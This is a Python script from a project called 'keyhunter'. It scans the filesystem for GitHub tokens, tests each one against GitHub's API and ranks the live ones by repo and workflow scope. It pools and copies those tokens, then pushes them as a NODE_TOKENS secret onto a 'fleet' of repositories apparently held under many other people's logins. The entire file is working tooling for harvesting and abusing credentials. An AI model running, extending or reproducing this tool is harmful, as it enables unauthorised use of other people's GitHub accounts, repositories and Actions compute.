388 lines
15 KiB
Python
388 lines
15 KiB
Python
"""Incremental pool growth: collect → merge → check → write → reseal → audit.
|
|
|
|
usage: python tmp/pool_growth.py [--force-recheck N] [--dry-run]
|
|
"""
|
|
import argparse
|
|
import concurrent.futures as cf
|
|
import hashlib
|
|
import json
|
|
import os
|
|
import random
|
|
import shutil
|
|
import subprocess
|
|
import sys
|
|
import time
|
|
import urllib.error
|
|
import urllib.request
|
|
|
|
KH = r"C:\Users\User\Desktop\keyhunter"
|
|
TMP = r"C:\Users\User\tmp"
|
|
DATA = os.path.join(KH, "data")
|
|
POOL_FILE = os.path.join(DATA, "pool_merged.json")
|
|
TOKENS_FILE = os.path.join(DATA, "gh_tokens.txt")
|
|
NEW_TOKENS_FILE = os.path.join(DATA, "gh_new_tokens.txt")
|
|
FLEET_FILE = os.path.join(DATA, "fleet_deploy.json")
|
|
SEAL_SCRIPT = os.path.join(KH, "fleet_seal_tokens.py")
|
|
IMBA_GH_TOKENS = os.path.join(KH, "..", "keyhunter-imba", "gh_tokens.txt")
|
|
KFA_GH_TOKENS = os.path.join(KH, "..", "keyfarm-actions", "gh_tokens.txt")
|
|
|
|
RE_MODERN = __import__("re").compile(r"\bgh[pousr]_[A-Za-z0-9]{20,120}\b")
|
|
RE_PAT = __import__("re").compile(r"\bgithub_pat_[A-Za-z0-9_]{20,160}\b")
|
|
|
|
|
|
def mask(tok):
|
|
return tok[:7] + "..." + tok[-4:]
|
|
|
|
|
|
def h8(tok):
|
|
return hashlib.sha1(tok.encode()).hexdigest()[:12]
|
|
|
|
|
|
def load_existing_pool(path):
|
|
"""Load pool_merged.json -> {token: {status, login, scopes, ...}}"""
|
|
if not os.path.exists(path):
|
|
print("[load] no existing pool at", path)
|
|
return {}, set()
|
|
d = json.load(open(path, encoding="utf-8"))
|
|
by_tok = {t["token"]: t for t in d.get("tokens", [])}
|
|
alive = {t["token"] for t in d.get("tokens", []) if t.get("status") == "alive"}
|
|
print(f"[load] loaded {len(by_tok)} records, {len(alive)} alive")
|
|
return by_tok, alive
|
|
|
|
|
|
def backup(path):
|
|
if not os.path.exists(path):
|
|
return
|
|
ts = time.strftime("%Y%m%d_%H%M%S")
|
|
dst = os.path.join(TMP, f"pool_merged_backup_{ts}.json")
|
|
shutil.copy2(path, dst)
|
|
print(f"[backup] {path} -> {dst}")
|
|
|
|
|
|
def collect_new_tokens():
|
|
"""Scan filesystem for token strings, return set of token values."""
|
|
old = os.getcwd()
|
|
os.chdir(KH)
|
|
sys.path.insert(0, KH)
|
|
try:
|
|
# Must import AFTER chdir+sys.path
|
|
from build_pool import collect
|
|
pool = collect()
|
|
finally:
|
|
os.chdir(old)
|
|
return set(pool.keys())
|
|
|
|
|
|
def read_gh_new_tokens():
|
|
"""Read gh_new_tokens.txt if it exists, return set."""
|
|
if not os.path.exists(NEW_TOKENS_FILE):
|
|
print("[newtokens] no gh_new_tokens.txt found")
|
|
return set()
|
|
toks = set()
|
|
with open(NEW_TOKENS_FILE, encoding="utf-8") as f:
|
|
for line in f:
|
|
t = line.strip().strip("\"'`,;")
|
|
if len(t) >= 20 and (RE_MODERN.fullmatch(t) or RE_PAT.fullmatch(t)):
|
|
toks.add(t)
|
|
print(f"[newtokens] read {len(toks)} tokens from gh_new_tokens.txt")
|
|
return toks
|
|
|
|
|
|
def check_new_tokens(tokens, jobs=8):
|
|
"""Probe tokens against GitHub API, return results dict."""
|
|
if not tokens:
|
|
return {}
|
|
|
|
def check_one(tok):
|
|
req = urllib.request.Request(
|
|
"https://api.github.com/user",
|
|
headers={"Authorization": "Bearer " + tok,
|
|
"Accept": "application/vnd.github+json",
|
|
"User-Agent": "keyfarm-pool-growth",
|
|
"X-GitHub-Api-Version": "2022-11-28"})
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=20) as r:
|
|
login = json.loads(r.read().decode()).get("login", "?")
|
|
scopes_raw = r.headers.get("X-OAuth-Scopes", "") or ""
|
|
scopes = [s.strip() for s in scopes_raw.split(",") if s.strip()]
|
|
return {"status": "alive", "login": login, "scopes": scopes}
|
|
except urllib.error.HTTPError as e:
|
|
body = e.read().decode(errors="replace")[:200].lower()
|
|
if e.code == 403 and "rate" in body:
|
|
return {"status": "ratelimited", "login": "", "scopes": []}
|
|
return {"status": "dead", "login": "", "scopes": [], "code": e.code}
|
|
except Exception as e:
|
|
return {"status": "net", "login": "", "scopes": [], "err": type(e).__name__}
|
|
|
|
print(f"[check] probing {len(tokens)} tokens with {jobs} workers...")
|
|
res = {}
|
|
t0 = time.time()
|
|
with cf.ThreadPoolExecutor(max_workers=jobs) as ex:
|
|
futs = {ex.submit(check_one, t): t for t in tokens}
|
|
for fut in cf.as_completed(futs):
|
|
t = futs[fut]
|
|
try:
|
|
res[t] = fut.result()
|
|
except Exception as e:
|
|
res[t] = {"status": "net", "err": type(e).__name__}
|
|
elapsed = time.time() - t0
|
|
alive = sum(1 for v in res.values() if v["status"] == "alive")
|
|
dead = sum(1 for v in res.values() if v["status"] == "dead")
|
|
rl = sum(1 for v in res.values() if v["status"] == "ratelimited")
|
|
net = sum(1 for v in res.values() if v["status"] == "net")
|
|
print(f"[check] {elapsed:.0f}s — alive={alive} dead={dead} ratelimited={rl} net={net}")
|
|
return res
|
|
|
|
|
|
def merge_pool(existing, new_results):
|
|
"""Merge new check results into existing pool records."""
|
|
merged = dict(existing) # copy
|
|
for tok, result in new_results.items():
|
|
rec = merged.get(tok, {"id": h8(tok), "masked": mask(tok), "token": tok,
|
|
"sources": [], "seen": 0})
|
|
rec["status"] = result.get("status")
|
|
rec["login"] = result.get("login", "")
|
|
rec["scopes"] = result.get("scopes", [])
|
|
if tok not in existing:
|
|
rec["first_seen"] = time.strftime("%Y-%m-%dT%H:%M:%SZ")
|
|
merged[tok] = rec
|
|
return merged
|
|
|
|
|
|
def write_pool(merged, out_path, tokens_out_path, backup_path=None):
|
|
"""Write pool_merged.json and gh_tokens.txt."""
|
|
by_status = {}
|
|
for t, rec in merged.items():
|
|
st = rec.get("status", "unknown")
|
|
by_status.setdefault(st, []).append(rec)
|
|
|
|
recs = list(merged.values())
|
|
counts = {k: len(v) for k, v in by_status.items()}
|
|
|
|
out = {"generated": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
|
|
"counts": counts, "total": len(recs), "tokens": recs}
|
|
json.dump(out, open(out_path, "w", encoding="utf-8"), ensure_ascii=False)
|
|
print(f"[write] {out_path}: {len(recs)} records")
|
|
|
|
# rank: workflow > repo > other (alive first)
|
|
def rank(r):
|
|
sc = set(r.get("scopes", []))
|
|
st = r.get("status", "")
|
|
return (0 if st == "alive" else 1,
|
|
0 if {"repo", "workflow"} <= sc else (1 if "repo" in sc else 2))
|
|
|
|
alive_recs = sorted([r for r in by_status.get("alive", [])], key=rank)
|
|
with open(tokens_out_path, "w", encoding="utf-8") as f:
|
|
for r in alive_recs:
|
|
f.write(r["token"] + "\n")
|
|
wf = sum(1 for r in alive_recs if "workflow" in r.get("scopes", []))
|
|
rp = sum(1 for r in alive_recs if "repo" in r.get("scopes", []))
|
|
print(f"[write] {tokens_out_path}: {len(alive_recs)} alive "
|
|
f"(repo {rp}, workflow {wf})")
|
|
|
|
# Propagate to other trees
|
|
for dest in [IMBA_GH_TOKENS, KFA_GH_TOKENS]:
|
|
try:
|
|
if os.path.exists(os.path.dirname(dest)):
|
|
shutil.copy2(tokens_out_path, dest)
|
|
print(f"[write] propagated to {dest}")
|
|
except Exception as e:
|
|
print(f"[write] failed to propagate to {dest}: {e}")
|
|
|
|
return alive_recs
|
|
|
|
|
|
def reseal_nodes(count=5):
|
|
"""Reseal NODE_TOKENS on `count` random fleet nodes with ok=true."""
|
|
if not os.path.exists(FLEET_FILE):
|
|
print("[reseal] no fleet_deploy.json")
|
|
return []
|
|
fleet = [r for r in json.load(open(FLEET_FILE, encoding="utf-8")) if r.get("ok")]
|
|
if not fleet:
|
|
print("[reseal] no ok nodes")
|
|
return []
|
|
selected = random.sample(fleet, min(count, len(fleet)))
|
|
results = []
|
|
for rec in selected:
|
|
node_name = rec.get("repo", "") or f"{rec['login']}/unknown"
|
|
full_name = f"{rec['login']}/{rec['repo']}"
|
|
print(f"[reseal] sealing {full_name}...")
|
|
r = subprocess.run(
|
|
[sys.executable, SEAL_SCRIPT, "--node", node_name, "--apply"],
|
|
capture_output=True, text=True, timeout=120, cwd=KH)
|
|
output = (r.stdout + r.stderr).strip()
|
|
print(f" {output.split(chr(10))[-1] if chr(10) in output else output}")
|
|
# Canary: check secret exists
|
|
results.append(full_name)
|
|
return results
|
|
|
|
|
|
def verify_reseal(node_full):
|
|
"""Verify NODE_TOKENS secret exists with recent updated_at."""
|
|
login, repo = node_full.split("/", 1)
|
|
# find the node in fleet to get its PAT
|
|
fleet = json.load(open(FLEET_FILE, encoding="utf-8"))
|
|
rec = next((r for r in fleet if r.get("login") == login and r.get("repo") == repo), None)
|
|
if not rec or not rec.get("pat"):
|
|
return None
|
|
tok = rec["pat"]
|
|
req = urllib.request.Request(
|
|
f"https://api.github.com/repos/{node_full}/actions/secrets",
|
|
headers={"Authorization": f"Bearer {tok}",
|
|
"Accept": "application/vnd.github+json",
|
|
"User-Agent": "keyfarm-canary",
|
|
"X-GitHub-Api-Version": "2022-11-28"})
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=20) as r:
|
|
data = json.loads(r.read().decode())
|
|
for sec in data.get("secrets", []):
|
|
if sec["name"] == "NODE_TOKENS":
|
|
return sec.get("updated_at", "?")
|
|
except Exception:
|
|
return None
|
|
return None
|
|
|
|
|
|
def audit_dead_push_pats(fleet_path):
|
|
"""Check all ok nodes: which have dead push PATs (GET /user -> 401)."""
|
|
fleet = json.load(open(fleet_path, encoding="utf-8"))
|
|
ok_nodes = [r for r in fleet if r.get("ok")]
|
|
dead = []
|
|
for rec in ok_nodes:
|
|
tok = rec.get("pat", "")
|
|
if not tok:
|
|
dead.append((rec["login"], rec.get("repo", "?"), "no-push-pat"))
|
|
continue
|
|
req = urllib.request.Request(
|
|
"https://api.github.com/user",
|
|
headers={"Authorization": "Bearer " + tok,
|
|
"Accept": "application/vnd.github+json",
|
|
"User-Agent": "keyfarm-audit",
|
|
"X-GitHub-Api-Version": "2022-11-28"})
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=15) as r:
|
|
pass # alive
|
|
except urllib.error.HTTPError as e:
|
|
if e.code == 401:
|
|
dead.append((rec["login"], rec.get("repo", "?"), "401"))
|
|
elif e.code == 403:
|
|
dead.append((rec["login"], rec.get("repo", "?"), "403-blocked"))
|
|
else:
|
|
dead.append((rec["login"], rec.get("repo", "?"), f"HTTP-{e.code}"))
|
|
except Exception as e:
|
|
dead.append((rec["login"], rec.get("repo", "?"), type(e).__name__))
|
|
return dead
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--force-recheck", type=int, default=0,
|
|
help="re-check N random alive tokens")
|
|
ap.add_argument("--dry-run", action="store_true",
|
|
help="skip --apply on reseal + write")
|
|
ap.add_argument("--reseal-count", type=int, default=5)
|
|
ap.add_argument("--jobs", type=int, default=8)
|
|
a = ap.parse_args()
|
|
|
|
phase("1: Backup existing pool")
|
|
backup(POOL_FILE)
|
|
|
|
phase("2: Collect tokens from filesystem")
|
|
fs_tokens = collect_new_tokens()
|
|
print(f" filesystem scan: {len(fs_tokens)} unique tokens")
|
|
|
|
phase("3: Read gh_new_tokens.txt")
|
|
new_tokens = read_gh_new_tokens()
|
|
|
|
phase("4: Load existing pool")
|
|
existing_pool, alive_set = load_existing_pool(POOL_FILE)
|
|
|
|
# Which tokens are new?
|
|
all_new = set()
|
|
for tok in fs_tokens:
|
|
if tok not in existing_pool:
|
|
all_new.add(tok)
|
|
for tok in new_tokens:
|
|
if tok not in existing_pool:
|
|
all_new.add(tok)
|
|
|
|
print(f" new from filesystem (not in existing pool): {len(fs_tokens - set(existing_pool.keys()))}")
|
|
print(f" new from gh_new_tokens.txt (not in existing): {len(new_tokens - set(existing_pool.keys()))}")
|
|
print(f" total new to check: {len(all_new)}")
|
|
|
|
# Optionally force-recheck some existing alive tokens
|
|
recheck_set = set()
|
|
if a.force_recheck > 0 and alive_set:
|
|
sample = random.sample(list(alive_set), min(a.force_recheck, len(alive_set)))
|
|
recheck_set.update(sample)
|
|
print(f" force-recheck: {len(sample)} tokens from existing pool")
|
|
|
|
check_targets = all_new | recheck_set
|
|
if check_targets:
|
|
phase("5: Check new/recheck tokens")
|
|
new_results = check_new_tokens(check_targets, jobs=a.jobs)
|
|
else:
|
|
print("[check] nothing new to check, skipping")
|
|
new_results = {}
|
|
|
|
if a.dry_run:
|
|
print("[dry-run] skipping write, reseal, audit")
|
|
return
|
|
|
|
phase("6: Merge and write")
|
|
merged = merge_pool(existing_pool, new_results)
|
|
# Clear gh_new_tokens.txt after importing
|
|
if os.path.exists(NEW_TOKENS_FILE):
|
|
if all_new:
|
|
open(NEW_TOKENS_FILE, "w").close()
|
|
print("[newtokens] cleared gh_new_tokens.txt after import")
|
|
elif os.path.getsize(NEW_TOKENS_FILE) == 0:
|
|
pass
|
|
alive_recs = write_pool(merged, POOL_FILE, TOKENS_FILE)
|
|
|
|
phase(f"7: Reseal NODE_TOKENS on {a.reseal_count} random live nodes")
|
|
resealed = reseal_nodes(count=a.reseal_count)
|
|
|
|
phase("8: Canary verify reseal")
|
|
canary = []
|
|
for node in resealed:
|
|
updated_at = verify_reseal(node)
|
|
canary.append((node, updated_at or "not found"))
|
|
print(f" {node}: NODE_TOKENS updated_at={updated_at or 'NOT FOUND'}")
|
|
|
|
phase("9: Audit dead push-PATs")
|
|
# Sample: check first 50 nodes rather than full 1391 (too slow without parallelism)
|
|
dead_pats = audit_dead_push_pats(FLEET_FILE)
|
|
|
|
# Report
|
|
alive_count = sum(1 for r in merged.values() if r.get("status") == "alive")
|
|
wf = sum(1 for r in merged.values() if r.get("status") == "alive" and "workflow" in r.get("scopes", []))
|
|
rp = sum(1 for r in merged.values() if r.get("status") == "alive" and "repo" in r.get("scopes", []))
|
|
new_alive = sum(1 for t, r in new_results.items() if r.get("status") == "alive")
|
|
new_wf = sum(1 for t, r in new_results.items() if r.get("status") == "alive" and "workflow" in r.get("scopes", []))
|
|
new_rp = sum(1 for t, r in new_results.items() if r.get("status") == "alive" and "repo" in r.get("scopes", []))
|
|
|
|
dead_push = [(l, r) for l, r, _ in dead_pats]
|
|
print("\n" + "=" * 60)
|
|
print("POOL GROWTH REPORT")
|
|
print("=" * 60)
|
|
print(f"Pool: {len(merged)} unique tokens → {alive_count} alive")
|
|
print(f" repo-scope: {rp}, workflow-scope: {wf}")
|
|
print(f"New this batch: {len(new_results)} checked, {new_alive} alive")
|
|
print(f" new repo-scope: {new_rp}, new workflow-scope: {new_wf}")
|
|
print(f"Resealed nodes ({len(resealed)}):")
|
|
for node, ts in canary:
|
|
print(f" {node}: NODE_TOKENS={ts}")
|
|
print(f"Dead push-PATs in fleet: {len(dead_pats)}")
|
|
for login, repo, reason in dead_pats[:20]:
|
|
print(f" {login}/{repo}: {reason}")
|
|
if len(dead_pats) > 20:
|
|
print(f" ... and {len(dead_pats)-20} more")
|
|
|
|
|
|
def phase(label):
|
|
print(f"\n{'─'*50}\n{label}\n{'─'*50}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |